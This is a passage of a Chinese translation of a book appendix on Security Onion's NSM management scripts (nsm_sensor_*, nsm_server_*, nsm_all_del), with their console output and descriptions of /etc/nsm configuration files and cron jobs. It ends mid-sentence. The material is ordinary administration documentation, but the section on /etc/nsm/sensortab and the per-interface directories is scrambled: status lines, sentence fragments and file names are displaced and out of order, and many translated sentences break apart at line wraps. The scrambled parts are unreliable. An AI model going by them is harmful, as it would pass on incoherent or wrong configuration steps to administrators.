-
pads_agent(sguil)[ OK ]
-
argus [ OK ]
-
http_agent(sguil)[ OK ]
/etc/init.d/nsm 是“/usr/sbin/nsm –all”的包装器,因此你也可以这样做:
sudo service nsm status
除了状态外,你还可以使用其他进程控制关键字,如
如启动、停止和重启。
/usr/sbin/nsm_al _del
高级脚本/usr/sbin/nsm_all_del 将提示用户确认,
然后调用 nsm_all_del_quick 删除所有 NSM 数据和配置。
$ sudo /usr/sbin/nsm_all_del
警告!
继续将永久删除所有 NSM 配置和数据!
按 Ctrl-C 取消。
或
按 Enter 继续。
停止:securityonion
- 停止:sguil 服务器 [ OK ]
停止:HIDS
- 停止:ossec_agent (sguil) [ OK ]
停止:Bro
停止 bro ...
SO 脚本和配置 313
停止:securityonion-eth1
-
停止:netsniff-ng (完整数据包) [ OK ]
-
停止:pcap_agent (sguil) [ OK ]
-
停止:snort_agent-1 (sguil) [ OK ]
-
停止:snort-1 (警报数据) [ OK ]
-
停止:barnyard2-1 (排队器,unified2 格式) [ OK ]
-
停止:prads (会话/资产) [ OK ]
-
停止:sancp_agent (sguil) [ OK ]
-
停止:pads_agent (sguil) [ OK ]
-
停止:argus [ OK ]
-
停止:http_agent (sguil) [ OK ]
删除传感器
所有关于传感器“securityonion-eth1”的配置和收集的数据将被删除。
删除传感器:securityonion-eth1
-
移除配置文件 [ OK ]
-
移除收集的数据文件 [ OK ]
-
更新传感器表 [ OK ]
删除服务器
所有关于服务器“securityonion”的配置和收集的数据将被
已删除。
删除服务器:继续吗? (Y/N) [N]:
-
移除配置文件 [ OK ]
-
移除收集的数据文件 [ OK ]
-
移除数据库 [ OK ]
-
更新服务器表 [ OK ]
/usr/sbin/nsm_al _del_quick
高级脚本/usr/sbin/nsm_all_del_quick 将调用 nsm_sensor_del 并
nsm_server_del 用于删除所有 NSM 数据和配置,但不会提示
需要用户确认。请小心使用!
$ sudo nsm_all_del_quick
停止:securityonion
- 停止:sguil 服务器 [ OK ]
停止:HIDS
- 停止:ossec_agent (sguil) [ OK ]
停止:Bro
停止 bro ...
停止:securityonion-eth1
-
停止:netsniff-ng (完整数据包) [ OK ]
-
停止:pcap_agent (sguil) [ OK ]
-
停止:snort_agent-1 (sguil) [ OK ]
-
停止:snort-1 (警报数据) [ OK ]
314 附录
-
停止:barnyard2-1 (排队器,unified2 格式) [ OK ]
-
停止:prads (会话/资产) [ OK ]
-
停止:sancp_agent (sguil) [ OK ]
-
停止:pads_agent (sguil) [ OK ]
-
停止:argus [ OK ]
-
停止:http_agent (sguil) [ OK ]
删除传感器
所有关于传感器“securityonion-eth1”的配置和收集的数据将被删除。
删除传感器:securityonion-eth1
-
移除配置文件 [ OK ]
-
移除收集的数据文件 [ OK ]
-
更新传感器表 [ OK ]
删除服务器
所有关于服务器“securityonion”的配置和收集的数据将被
已删除。
删除服务器:继续吗? (Y/N) [N]:
-
移除配置文件 [ OK ]
-
移除收集的数据文件 [ OK ]
-
移除数据库 [ OK ]
-
更新服务器表 [ OK ]
/usr/sbin/nsm_sensor
高级 /usr/sbin/nsm_sensor 脚本可以将选项传递给一些
基础的 nsm_sensor_* 脚本。
$ sudo /usr/sbin/nsm_sensor --status
状态: HIDS
- ossec_agent (sguil) [ OK ]
状态: Bro
名称 类型 主机 状态 Pid 同伴 启动时间
bro 独立 localhost 运行 13015 0 18 2 月 16:35:40
状态: securityonion-eth1
-
netsniff-ng (完整数据包数据) [ OK ]
-
pcap_agent (sguil) [ OK ]
-
snort_agent-1 (sguil) [ OK ]
-
snort-1 (警报数据) [ OK ]
-
barnyard2-1 (spooler, unified2 格式) [ OK ]
-
prads (会话/资产) [ OK ]
-
sancp_agent (sguil) [ OK ]
-
pads_agent (sguil) [ OK ]
-
argus [ OK ]
-
http_agent (sguil) [ OK ]
SO 脚本和配置 315
/usr/sbin/nsm_sensor_add
/usr/sbin/nsm_sensor_add 脚本由设置向导调用,以添加新的
传感器。你不需要手动运行此脚本。
/usr/sbin/nsm_sensor_backup-config
/usr/sbin/nsm_sensor_backup-config 脚本将备份传感器配置-
将文件归档为用户指定的 tarball。
/usr/sbin/nsm_sensor_backup-data
/usr/sbin/nsm_sensor_backup-data 脚本将备份传感器数据文件到一个
用户指定的 tarball。请注意,数据文件包括完整的数据包捕获,
真正的大小可能达到数十 GB 或 TB。
/usr/sbin/nsm_sensor_clean
/usr/sbin/nsm_sensor_clean 脚本由每小时的 cronjob 调用。如果磁盘
使用率达到 90% 或更高,最旧一天的 NSM 数据(pcaps,
Bro 日志等) 将被删除,直到磁盘使用率低于 90%。如果磁盘
该过程将重复,直到磁盘使用率低于 90%。
/usr/sbin/nsm_sensor_clear
/usr/sbin/nsm_sensor_clear 脚本清除传感器的所有数据。
$ sudo /usr/sbin/nsm_sensor_clear --sensor-name=securityonion-eth1
清除传感器
所有传感器 "securityonion-eth1" 收集的数据将被清除。
您要继续吗?(Y/N) [N]: y
清除传感器: securityonion-eth1
-
删除书签 [ OK ]
-
删除收集的数据文件 [ OK ]
-
删除收集的日志目录 [ OK ]
/usr/sbin/nsm_sensor_del
/usr/sbin/nsm_sensor_del 脚本会删除传感器的所有数据和配置。
用户指定的传感器,永久禁用它。
$ sudo /usr/sbin/nsm_sensor_del --sensor-name=securityonion-eth1
删除传感器
所有配置和传感器 "securityonion-eth1" 收集的数据将被删除。
您要继续吗?(Y/N) [N]: y
316 附录
删除传感器: securityonion-eth1
-
删除配置文件 [ OK ]
-
删除收集的数据文件 [ OK ]
-
更新传感器表 [ OK ]
/usr/sbin/nsm_sensor_edit
/usr/sbin/nsm_sensor_edit 脚本允许您编辑传感器的某些细节。
传感器的配置。
/usr/sbin/nsm_sensor_ps-daily-restart
/usr/sbin/nsm_sensor_ps-daily-restart 脚本由每天的 cronjob 调用,
午夜时分重新启动任何可能处理基于日期输出的服务
并且需要滚动到新的日期戳。
/usr/sbin/nsm_sensor_ps-restart
/usr/sbin/nsm_sensor_ps-restart 脚本用于重启传感器进程。
$ sudo /usr/sbin/nsm_sensor_ps-restart
正在重启: HIDS
-
停止中: ossec_agent (sguil) [ OK ]
-
启动中: ossec_agent (sguil) [ OK ]
正在重启: Bro
停止 bro ...
启动 bro ...
正在重启: securityonion-eth1
-
正在重启并有重叠: netsniff-ng (完整数据包数据)
-
启动中: netsniff-ng (完整数据包数据) [ OK ]
- 停止旧进程: netsniff-ng (完整数据包数据) [ OK ]
-
停止中: pcap_agent (sguil) [ OK ]
-
启动中: pcap_agent (sguil) [ OK ]
-
停止中: snort_agent-1 (sguil) [ OK ]
-
启动中: snort_agent-1 (sguil) [ OK ]
-
停止中: snort-1 (警报数据) [ OK ]
-
启动中: snort-1 (警报数据) [ OK ]
-
停止中: barnyard2-1 (spooler, unified2 格式) [ OK ]
-
启动中: barnyard2-1 (spooler, unified2 格式) [ OK ]
-
停止中: prads (会话/资产) [ OK ]
-
启动中: prads (会话/资产) [ OK ]
-
停止中: pads_agent (sguil) [ OK ]
-
启动中: pads_agent (sguil) [ OK ]
-
停止中: sancp_agent (sguil) [ OK ]
-
启动中: sancp_agent (sguil) [ OK ]
-
停止中: argus [ OK ]
-
启动中: argus [ OK ]
-
停止中: http_agent (sguil) [ OK ]
-
启动中: http_agent (sguil) [ OK ]
SO 脚本和配置 317
请注意,这些以及其余的 nsm_sensor_ps-* 脚本可以非常精细地控制你所管理的传感器或进程。例如,请注意
以下 --help 列表中的 --only-、--skip- 和 --sensor-name= 选项:
$ sudo /usr/sbin/nsm_sensor_ps-restart --help
NSMnow 管理脚本没有任何保证。
用法: /usr/sbin/nsm_sensor_ps-restart [选项]
选项:
-d 使用对话框模式
-y 强制是
-V 显示版本信息
-? 显示用法信息
长选项:
--sensor-name=
--only-barnyard2 仅处理 barnyard2
--only-snort-alert 仅处理 snort 警报
--only-pcap 仅处理数据包日志
--only-argus 仅处理 argus
--only-prads 仅处理 prads
--only-bro 仅处理 bro
--only-pcap-agent 仅处理 pcap_agent
--only-sancp-agent 仅处理 sancp_agent
--only-snort-agent 仅处理 snort_agent
--only-http-agent 仅处理 http_agent
--only-pads-agent 仅处理 pads_agent
--only-ossec-agent 仅处理 ossec_agent
--skip-barnyard2 跳过 barnyard2 的处理
--skip-snort-alert 跳过 snort 警报的处理
--skip-pcap 跳过数据包日志的处理
--skip-argus 跳过 argus 的处理
--skip-prads 跳过 prads 的处理
--skip-bro 跳过 bro 的处理
--skip-pcap-agent 跳过 pcap_agent 的处理
--skip-sancp-agent 跳过 sancp_agent 的处理
--skip-snort-agent 跳过 snort_agent 的处理
--skip-http-agent 跳过 http_agent 的处理
--skip-pads-agent 跳过 pads_agent 的处理
--skip-ossec-agent 跳过 ossec_agent 的处理
--if-stale 仅重启已崩溃的进程
--dialog 同 -d
--force-yes 同 -y
--version 同 -V
--help 同 -?
318 附录
例如,假设你刚刚更改了 snort.conf 文件,并且想要重启 Snort 以使这些更改生效。你可以仅重启 Snort 进程,而不需要重启整个堆栈,如下所示:
$ sudo /usr/sbin/nsm_sensor_ps-restart --only-snort-alert
重启中:securityonion-eth1
-
停止中:snort-1 (警报数据) [ OK ]
-
启动中:snort-1 (警报数据) [ OK ]
/usr/sbin/nsm_sensor_ps-start
/usr/sbin/nsm_sensor_ps-start 脚本用于启动传感器进程。
$ sudo /usr/sbin/nsm_sensor_ps-start
启动中:HIDS
- 启动中:ossec_agent (sguil) [ OK ]
启动中:Bro
启动 bro ...
启动中:securityonion-eth1
-
启动中:netsniff-ng (完整数据包数据) [ OK ]
-
启动中:pcap_agent (sguil) [ OK ]
-
启动中:snort_agent-1 (sguil) [ OK ]
-
启动中:snort-1 (警报数据) [ OK ]
-
启动中:barnyard2-1 (spooler, unified2 格式) [ OK ]
-
启动中:prads (会话/资产) [ OK ]
-
启动中:pads_agent (sguil) [ OK ]
-
启动中:sancp_agent (sguil) [ OK ]
-
启动中:argus [ OK ]
-
启动中:http_agent (sguil) [ OK ]
-
磁盘空间当前为 26%
/usr/sbin/nsm_sensor_ps-status
/usr/sbin/nsm_sensor_ps-status 脚本用于检查传感器的状态。
进程。
$ sudo /usr/sbin/nsm_sensor_ps-status
状态:HIDS
- ossec_agent (sguil) [ OK ]
状态:Bro
名称 类型 主机 状态 进程 ID 对等方 启动时间
bro 独立运行的本地主机,端口号 15426,0,18 Feb 16:40:23
状态:securityonion-eth1
-
netsniff-ng (完整数据包数据) [ OK ]
-
pcap_agent (sguil) [ OK ]
-
snort_agent-1 (sguil) [ OK ]
-
snort-1 (警报数据) [ OK ]
-
barnyard2-1 (spooler, unified2 格式) [ OK ]
SO 脚本和配置 319
-
prads (会话/资产) [ OK ]
-
sancp_agent (sguil) [ OK ]
-
pads_agent (sguil) [ OK ]
-
argus [ OK ]
-
http_agent (sguil) [ OK ]
/usr/sbin/nsm_sensor_ps-stop
/usr/sbin/nsm_sensor_ps-stop 脚本用于停止传感器进程。
$ sudo /usr/sbin/nsm_sensor_ps-stop
停止中:HIDS
- 停止中:ossec_agent (sguil) [ OK ]
停止中:Bro
停止 bro ...
停止中:securityonion-eth1
-
停止中:netsniff-ng (完整数据包数据) [ OK ]
-
停止中:pcap_agent (sguil) [ OK ]
-
停止中:snort_agent-1 (sguil) [ OK ]
-
停止中:snort-1 (警报数据) [ OK ]
-
停止中:barnyard2-1 (spooler, unified2 格式) [ OK ]
-
停止中:prads (会话/资产) [ OK ]
-
停止中:sancp_agent (sguil) [ OK ]
-
停止中:pads_agent (sguil) [ OK ]
-
停止中:argus [ OK ]
-
停止中:http_agent (sguil) [ OK ]
/usr/sbin/nsm_server
高级 /usr/sbin/nsm_server 脚本可以将选项传递给一些
底层 nsm_server_* 脚本。
$ sudo /usr/sbin/nsm_server --status
状态:securityonion
- sguil 服务器 [ OK ]
/usr/sbin/nsm_server_add
/usr/sbin/nsm_server_add 脚本由设置向导使用,用于创建一个
新的 Sguil 服务器(sguild)。您不应该手动运行此脚本。
/usr/sbin/nsm_server_backup-config
/usr/sbin/nsm_server_backup-config 脚本将 sguild 配置文件备份
配置文件到用户指定的 tarball。
/usr/sbin/nsm_server_backup-data
/usr/sbin/nsm_server_backup-data 脚本将 sguild 数据备份到一个
用户指定的 tarball。
320 附录
/usr/sbin/nsm_server_clear
/usr/sbin/nsm_server_clear 脚本清除所有 sguild 数据。
/usr/sbin/nsm_server_del
/usr/sbin/nsm_server_del 脚本永久删除 Sguil 服务器
(sguild)。
/usr/sbin/nsm_server_edit
/usr/sbin/nsm_server_edit 脚本可以用来编辑某些详细信息
sguild 配置。
/usr/sbin/nsm_server_ps-restart
/usr/sbin/nsm_server_ps-restart 脚本可以用来重启 sguild。
$ sudo /usr/sbin/nsm_server_ps-restart
重启中:securityonion
-
停止中:sguil 服务器 [ OK ]
-
启动中:sguil 服务器 [ OK ]
/usr/sbin/nsm_server_ps-start
/usr/sbin/nsm_server_ps-start 脚本可用于启动 sguild。
$ sudo /usr/sbin/nsm_server_ps-start
启动中:securityonion
- 启动中:sguil 服务器 [ OK ]
/usr/sbin/nsm_server_ps-status
/usr/sbin/nsm_server_ps-status 脚本可用于检查
sguild。
$ sudo /usr/sbin/nsm_server_ps-status
状态:securityonion
- sguil 服务器 [ OK ]
/usr/sbin/nsm_server_ps-stop
/usr/sbin/nsm_server_ps-stop 脚本可以用来停止 sguild。
$ sudo /usr/sbin/nsm_server_ps-stop
停止中:securityonion
- 停止中:sguil 服务器 [ OK ]
SO 脚本和配置 321
/usr/sbin/nsm_server_sensor-add
/usr/sbin/nsm_server_sensor-add 脚本用于向
sguild 配置。
/usr/sbin/nsm_server_sensor-del
/usr/sbin/nsm_server_sensor-del 脚本用于删除传感器
sguild 配置。
/usr/sbin/nsm_server_user-add
/usr/sbin/nsm_server_user-add 脚本用于添加新的 sguild 用户。
$ sudo /usr/sbin/nsm_server_user-add
用户名
输入将被授予连接权限的新用户名称
此服务器。:richard
用户密码
输入将被授予连接权限的新用户密码
连接到此服务器。:
验证:
将用户添加到服务器
以下信息已被收集:
服务器:securityonion
用户:richard
您是否要创建?(Y/N)[Y]:y
将用户添加到服务器:richard => securityonion
So 配置文件
配置文件控制 SO 应用程序的操作方式。管理员
可以更改某些文件的内容,以定制 SO 收集和
解释 NSM 数据。
SO 团队以合理的默认值配置 SO,但在某些情况下,
变更可能是合适的。本节描述了 SO 的配置文件,
包括 SO 团队是否认为管理员有时可能
不需要对它们进行修改。
/etc/nsm/
/etc/nsm/ 是主要的配置目录。它包含以下内容:
administration.conf
ossec/
pulledpork/
rules/
322 附录
securityonion/
securityonion.conf
sensortab
servertab
templates/
\(HOSTNAME-\)INTERFACE
列表中的最后一项将根据你的主机名和
你选择监控的接口。例如,以下是来自
我的小传感器命名为 securityonion,拥有一个监控接口(eth1):
-rw-r--r-- 1 root root 247 2012 年 7 月 24 日 administration.conf
drwxr-xr-x 2 root root 4.0K 2 月 18 16:16 ossec
drwxr-xr-x 2 root root 4.0K 12 月 18 11:15 pulledpork
drwxr-xr-x 3 root root 4.0K 2 月 18 16:16 rules
drwxrwxr-x 3 sguil sguil 4.0K 2 月 18 16:16 securityonion
-rw-r--r-- 1 root root 37 2 月 18 16:16 securityonion.conf
drwxrwxr-x 2 sguil sguil 4.0K 2 月 18 16:17 securityonion-eth1
-rw-r--r-- 1 root root 31 2 月 18 16:16 sensortab
-rw-r--r-- 1 root root 349 2 月 18 16:16 servertab
drwxr-xr-x 8 root root 4.0K 12 月 18 11:14 templates
让我们逐一查看这些文件和目录。
/etc/nsm/administration.conf
/etc/nsm/administration.conf 文件定义了 NSM 脚本的一些文件系统位置。你通常不需要更改这个文件中的任何内容。
/etc/nsm/ossec/
/etc/nsm/ossec/ 目录包含用于 Sguil 的 OSSEC 代理(ossec_
agent.tcl) 及其配置文件( ossec_agent.conf )。你可能不需要修改这些文件。
/etc/nsm/pulledpork/
/etc/nsm/pulledpork/ 目录包含 PulledPork 配置文件
PulledPork,负责从
互联网。PulledPork 的主要配置文件是 pulledpork.conf,但是
你可能大部分时间都会修改 disablesid.conf、enablesid
.conf 和 modifysid.conf 用于调整你的规则集。
/etc/nsm/rules/
/etc/nsm/rules/ 目录包含已下载的 IDS 规则集
由 PulledPork 和与之相关的文件控制传感器进程。当
PulledPork 运行时,它将规则存储在 downloaded.rules 中。不要手动修改此文件,因为 PulledPork 会在下一次运行时自动覆盖它
运行。相反,使用 /etc/nsm/pulledpork/ 中的文件调整你的规则集。
你可以编写自己的规则并将其存储在 local.rules 中。要调整一个
如果你只想禁用特定规则而不是完全禁用它,请使用 threshold.conf。要指定 SO 脚本和配置 323
Berkeley 数据包过滤器(BPF),使嗅探进程可以选择性地忽略来自某些 IP 地址的流量,使用 bpf.conf。Bro 会自动
监控此文件的服务会根据需要更新它。其他服务
(如 Snort 和 Suricata,PRADS,和 Netsniff-ng)需要
必须重新启动才能使更改生效。
/etc/nsm/securityonion/
/etc/nsm/securityonion/ 目录包含以下 Sguil 服务器
(sguild)配置文件:
autocat.conf 用于配置 Sguil 自动分类
某些事件。
certs 包含用于保护通信的文件
Sguil 服务器(sguild)及其代理和客户端。
server.conf 包含一些用于启动 sguild 的通用设置
不需要修改。
sguild.access 用于控制对 sguild 的访问。
sguild.conf 包含 sguild 的通用设置,通常不需要更改。
sguild.email 允许你配置 Sguil 在发生某些事件时自动发送电子邮件。
sguild.queries 包含可从 Sguil 访问的查询
客户端通过选择 查询4标准查询。
sguild.users 该文件不应修改。
/etc/nsm/securityonion.conf
/etc/nsm/securityonion.conf 文件包含 IDS_ENGINE、DAYSTOKEEP 和 ELSA 设置,允许你更改入侵检测系统(IDS)
引擎,数据在 Sguil 数据库中保存的时间,以及是否
ELSA 已启用。
如果你运行设置向导并选择快速设置,SO 将默认
使用 Snort 作为 IDS 引擎。如果选择高级设置,SO 会询问是否
你想运行 Snort 还是 Suricata。在任何一种情况下,设置向导将设置
IDS_ENGINE 变量。如果你后来决定更改 IDS 引擎,
可以停止所有传感器进程,修改 IDS_ENGINE 设置,执行规则更新,
更新,并重新启动所有传感器进程。
例如,假设你运行了快速设置,它会为你提供默认的
Snort。如果你想尝试 Suricata,请执行以下操作:
$ sudo nsm_sensor_ps-stop
停止中:HIDS
- 停止中:ossec_agent(sguil)[ OK ]
停止中:Bro
正在等待锁定 ........ ok
停止 bro ...
324 附录
停止中:securityonion-eth1
-
停止中:netsniff-ng(完整数据包)[ OK ]
-
停止中:pcap_agent(sguil)[ OK ]
-
停止中:snort_agent-1(sguil)[ OK ]
-
停止中:snort-1(警报数据)[ OK ]
-
停止中:barnyard2-1(队列器,unified2 格式)[ OK ]
-
停止中:prads(会话/资产)[ OK ]
-
停止中:sancp_agent(sguil)[ OK ]
-
停止中:pads_agent(sguil)[ OK ]
-
停止中:argus [ OK ]
-
停止中:http_agent(sguil)[ OK ]
$ sudo sed -i 's|ENGINE=snort|ENGINE=suricata|g' /etc/nsm/securityonion.conf
$ sudo rule-update > /dev/null
$ sudo nsm_sensor_ps-start
启动中:HIDS
- 启动中:ossec_agent(sguil)[ OK ]
启动中:Bro
启动中:bro ...
启动中:securityonion-eth1
-
启动中:netsniff-ng(完整数据包)[ OK ]
-
启动中:pcap_agent(sguil)[ OK ]
-
启动中:snort_agent(sguil)[ OK ]
-
启动中:suricata(警报数据)[ OK ]
-
启动中:barnyard2(队列器,unified2 格式)[ OK ]
-
启动中:prads(会话/资产)[ OK ]
-
启动中:pads_agent(sguil)[ OK ]
-
启动中:sancp_agent(sguil)[ OK ]
-
启动中:argus [ OK ]
-
启动中:http_agent(sguil)[ OK ]
-
磁盘空间当前为 26%
DAYSTOKEEP 变量允许你定义
Sguil 数据库。一个每日的 cronjob 会删除任何在 securityonion_db 中超过的旧数据
$DAYSTOKEEP。默认值是 365\。
单独的设备,使其仅作为服务器而非传感器。
启用 ELSA。
/etc/nsm/sensortab
- 停止:sancp_agent(sguil)[ OK ]
如果该设备配置为监控接口,则该文件包含要监控的接口列表。要禁用接口上的嗅探进程,
你可以临时停止接口,如下所示(替换 HOSTNAME-INTERFACE
使用你的实际主机名和接口名称):
sudo nsm_sensor_ps-stop --sensor-name= HOSTNAME-INTERFACE
SO 脚本和配置 325
要永久禁用一个接口,请注释掉相关行
/etc/nsm/sensortab。例如,假设你运行了快速设置并且
- sguil 服务器 [ OK ]
保留策略对于
$ sudo nsm_sensor_ps-stop --sensor-name=securityonion-eth1
停止:HIDS
- 停止:http_agent(sguil)[ OK ]
停止:Bro
停止 bro ...
停止:securityonion-eth1
-
停止:netsniff-ng(完整数据包)[ OK ]
-
停止:pcap_agent(sguil)[ OK ]
-
停止:snort_agent-1(sguil)[ OK ]
-
停止:snort-1(警报数据)[ OK ]
-
停止:barnyard2-1(spooler,unified2 格式)[ OK ]
-
停止:prads(会话/资产)[ OK ]
$ sudo service nsm status
-
停止:pads_agent(sguil)[ OK ]
-
停止:argus [ OK ]
监控 eth1,但之后决定将传感器组件移至
设置向导询问你是否要启用 ELSA 变量时进行设置,
barnyard2.conf
状态:securityonion
$ sudo sed -i 's|securityonion-eth1|#securityonion-eth1|g' /etc/nsm/sensortab
/etc/nsm/servertab
如果该设备被配置为服务器,/etc/nsm/servertab 文件包含服务器的内部名称(securityonion)。
/etc/nsm/templates/
/etc/nsm/templates/ 目录包含 barnyard2 的模板文件,
http_agent、prads、pulledpork、snort 和 suricata。设置向导会复制
从这些目录中的模板文件到目标目录,并自定义
它们使用你在设置过程中做出的选择进行配置。你不应该修改
这些文件。
/etc/nsm/\(HOSTNAME-\)INTERFACE/
- 停止:ossec_agent(sguil)[ OK ]
并且你有一个四端口网络接口卡(eth0、eth1、eth2 和 eth3),
但你选择只监控 eth1 和 eth2\。你将拥有以下内容
传感器配置目录:
326 附录
你将拥有一个 /etc/nsm/$ HOSTNAME-$ INTERFACE/ 目录,用于你选择监控的每个接口。例如,假设你的主机名是 securityonion
/etc/nsm/securityonion-eth1/
/etc/nsm/securityonion-eth2/
让我们看一下这些目录中的文件。
barnyard2.conf 文件配置了 barnyard2,这是用来获取
从 Snort 或 Suricata 的 unified2 输出并将警报插入到 Sguil,
Snorby 或 ELSA。可能有多个barnyard2.conf文件来处理
Snort 的多个实例。
除非你决定添加或
移除一些输出。例如,你可能决定停止发送
将 IDS 警报发送到 ELSA,并将其转发到企业安全信息
事件管理平台而不是其他。
bpf.conf 文件
一个名为bpf.conf的全局配置文件,位于/etc/nsm/rules/bpf.conf,默认适用于所有接口上的所有进程。每个接口上的每个进程
每个实例都有自己的.bpf文件,但默认情况下,每个进程的.bpf文件都通过符号链接指向接口的 bpf 文件,而接口的 bpf 文件又通过符号链接指向全局的bpf.conf,如图所示:
lrwxrwxrwx 1 root root 8 2 月 18 日 16:16 bpf-bro.conf -> bpf.conf
lrwxrwxrwx 1 root root 23 2 月 18 日 16:16 bpf.conf -> /etc/nsm/rules/bpf.conf
lrwxrwxrwx 1 root root 8 2 月 18 日 16:16 bpf-ids.conf -> bpf.conf
lrwxrwxrwx 1 root root 8 2 月 18 日 16:16 bpf-pcap.conf -> bpf.conf
lrwxrwxrwx 1 root root 8 2 月 18 日 16:16 bpf-prads.conf -> bpf.conf
要指定每个接口或每个进程的 bpf,只需替换默认
用符号链接连接到所需的 bpf 文件,并根据需要重启服务。
http_agent.conf
http_agent将 Bro HTTP 日志发送到 Sguil 数据库,http_agent.conf允许你配置包含哪些 HTTP 日志。例如,你
你可能想排除用户通常访问的高流量网站,以便
以避免使 Sguil 数据库膨胀。
如果你运行的是 ELSA,你可能想完全禁用 http_agent,以便
防止重复工作,因为所有 Bro HTTP 日志都可以在 ELSA 中找到。
pads_agent.conf
pads_agent.conf文件配置 pads_agent,它从
PRADS 并将其插入到 Sguil 中。通常你不需要更改任何
这里的任何内容。
SO 脚本和配置 327
pcap_agent.conf
pcap_agent.conf文件配置 pcap_agent,它允许 Sguil
服务器请求从传感器的 pcap 存储中获取一个 pcap 文件。你可能不会
这里可能需要更改的内容。
prads.conf
prads.conf文件配置 PRADS,它是 PADS 和 SANCP 的替代品。
PRADS 创建了资产数据和会话数据。如果你正在监控
如果是 RFC 1918 地址范围以外的内容,请更新 home_nets 变量。
在此文件中。
sancp_agent.conf
sancp_agent.conf文件配置 sancp_agent,它从 PRADS 获取会话数据并将其插入到 Sguil 中。你可能不需要更改
这里的任何内容。
sensor.conf
sensor.conf文件包含 NSM 引用的几个不同变量。
启动进程时使用的脚本。大多数设置应该保持默认状态。
但是,你可能需要调整 IDS_LB_PROCS,它控制 PF_RING 的数量。
为 Snort 和 Suricata 实例化负载均衡进程。设置
向导会自动询问你希望创建多少个 PF_RING 实例。
对于 Snort 或 Suricata 和 Bro(假设你选择了高级设置并且
你有多个核心)。
如果你在设置后需要调整这个设置,停止 NSM 进程,
修改 sensor.conf 中的 IDS_LB_PROCS 变量,然后重新启动 NSM 进程。如果你正在运行 Snort,脚本会自动生成 $IDS_LB_PROCS
运行 Snort 实例(使用 PF_RING)、barnyard2 和 snort_agent。如果你正在运行,
运行 Suricata 时,脚本会自动将 $IDS_LB_PROCS 复制到 suricata
.yaml,然后 Suricata 会自动启动 PF_RING 实例。由于 Suricata 管理 PF_RING 实例,它只会创建一个 unified2 输出,
因此只需要一个 barnyard2 和 snort_agent 实例。
在以下示例中,我们从 IDS_LB_PROCS=1 的默认设置开始,
增加设置为 2,然后重新启动 NSM 进程。请注意,我们
最终会有两个 snort 进程,两个 snort_agent 进程和两个 barnyard2
进程。
$ sudo nsm_sensor_ps-stop
停止中:HIDS
- 停止中:ossec_agent (sguil) [ OK ]
停止中:Bro
停止 bro ...
停止中:securityonion-eth1
-
停止中:netsniff-ng (完整数据包) [ OK ]
-
停止中:pcap_agent (sguil) [ OK ]
-
停止中:snort_agent-1 (sguil) [ OK ]
328 附录
-
停止中:snort-1 (alert data) [ OK ]
-
停止中:barnyard2-1 (spooler, unified2 格式) [ OK ]
-
停止中:prads (sessions/assets) [ OK ]
-
停止中:sancp_agent (sguil) [ OK ]
-
停止中:pads_agent (sguil) [ OK ]
-
停止中:argus [ OK ]
-
停止中:http_agent (sguil) [ OK ]
$ sudo sed -i 's|IDS_LB_PROCS=1|IDS_LB_PROCS=2|g' /etc/nsm/securityonion-eth1/
sensor.conf
$ sudo nsm_sensor_ps-start
启动中:HIDS
- 启动中:ossec_agent (sguil) [ OK ]
启动中:Bro
启动 bro ...
启动中:securityonion-eth1
-
启动中:netsniff-ng (完整数据包) [ OK ]
-
启动中:pcap_agent (sguil) [ OK ]
-
启动中:snort_agent-1 (sguil) [ OK ]
-
启动中:snort_agent-2 (sguil) [ OK ]
-
启动中:snort-1 (alert data) [ OK ]
-
启动中:snort-2 (alert data) [ OK ]
-
启动中:barnyard2-1 (spooler, unified2 格式) [ OK ]
-
启动中:barnyard2-2 (spooler, unified2 格式) [ OK ]
-
启动中:prads (sessions/assets) [ OK ]
-
启动中:pads_agent (sguil) [ OK ]
-
启动中:sancp_agent (sguil) [ OK ]
-
启动中:argus [ OK ]
-
启动中:http_agent (sguil) [ OK ]
-
当前磁盘空间 26%
顺便说一下,如果你想改变负载均衡的数量,
要改变 Bro 的进程,编辑 /opt/bro/etc/node.cfg 并更改 lb_procs 变量,
然后执行以下命令:
sudo broctl install
sudo broctl restart
snort_agent.conf
snort_agent.conf 文件配置了 snort_agent,它从 barnyard2 获取警报并将其插入 Sguil 数据库。你可能不需要
不需要在这里更改任何内容。
可能有多个 snort_agent.conf 文件来处理多个实例
Snort 的
snort.conf
snort.conf 文件配置了 Snort。即使你将 IDS_LB_PROCS 设置为大于 1,仍然只有一个 snort.conf 文件,以确保同一接口上的 Snort 实例配置一致。
SO 脚本和配置 329
suricata.yaml
suricata.yaml 文件配置了 Suricata。NSM 脚本会复制 $IDS_LB_PROCS
从 sensor.conf 转移到 suricata.yaml,然后 Suricata 启动 PF_RING
实例本身。
/etc/cron.d/
/etc/cron.d/ 目录包含一些重要的定时任务,我们来看一下每个任务。
bro 这个定时任务每五分钟运行一次推荐的 broctl 定时任务
以确保 Bro 正常运行。
elsa 这个定时任务每分钟运行默认的 ELSA 定时任务。
nsm-watchdog 该定时任务每五分钟检查一次 NSM 传感器进程
分钟,如果它们失败,则重新启动它们。
rule-update 这个定时任务在协调世界时 7:01 AM 运行规则更新
时间(UTC)。如果 NSM 盒子是独立或服务器模式,规则更新将
使用 PulledPork 从互联网下载新的 IDS 规则集。如果
如果 NSM 盒子是传感器,它会等待几分钟,直到服务器下载完成
完成后,使用 scp 从服务器将新的 IDS 规则集复制到
本地传感器。该脚本还会复制调优文件,如 threshold.conf 和 bpf.conf,让你可以在一个地方(你的中央服务器)进行更改
将自动应用于你所有分布式传感器的规则。
sensor-clean 这是一个每小时运行的定时任务,用于防止完整数据包捕获
以及其他日志文件,防止它们占满你的磁盘。如果磁盘使用率超过 90%,
如果磁盘使用率超过 90%,则会删除最旧的一天的 NSM 数据(pcaps、Bro 日志等)
被删除。这一过程会重复,直到磁盘使用率降到 90% 以下。
sensor-newday 这个每天运行的定时任务在午夜重启任何服务
可能需要处理基于日期的输出,并需要切换到新的一天
日期戳。
sguil-db-purge 这个每天运行的定时任务在 UTC 时间 5:01 AM 运行并执行
数据库维护,包括删除任何超过 $DAYSTOKEEP 的旧数据
(如在 /etc/nsm/securityonion.conf 中定义)并修复任何损坏的
MySQL 表。
squert-ip2c 这个定时任务更新 Squert 的 IP 到国家(GeoIP)映射
映射。
Bro
Bro 安装在 /opt/bro/ 目录下,其配置文件可以在以下位置找到
/opt/bro/etc/。
330 附录
CapMe
CapMe 是一个基于 PHP 的 Web 界面,用于提取 TCP 的 ASCII 转录
会话。其 PHP 脚本和其他资源文件可以在 /var/www/ 目录下找到
capme/。通常,这些文件无需修改。
ELSA
ELSA 的核心文件位于 /opt/elsa/ 目录下。通常你可能需要
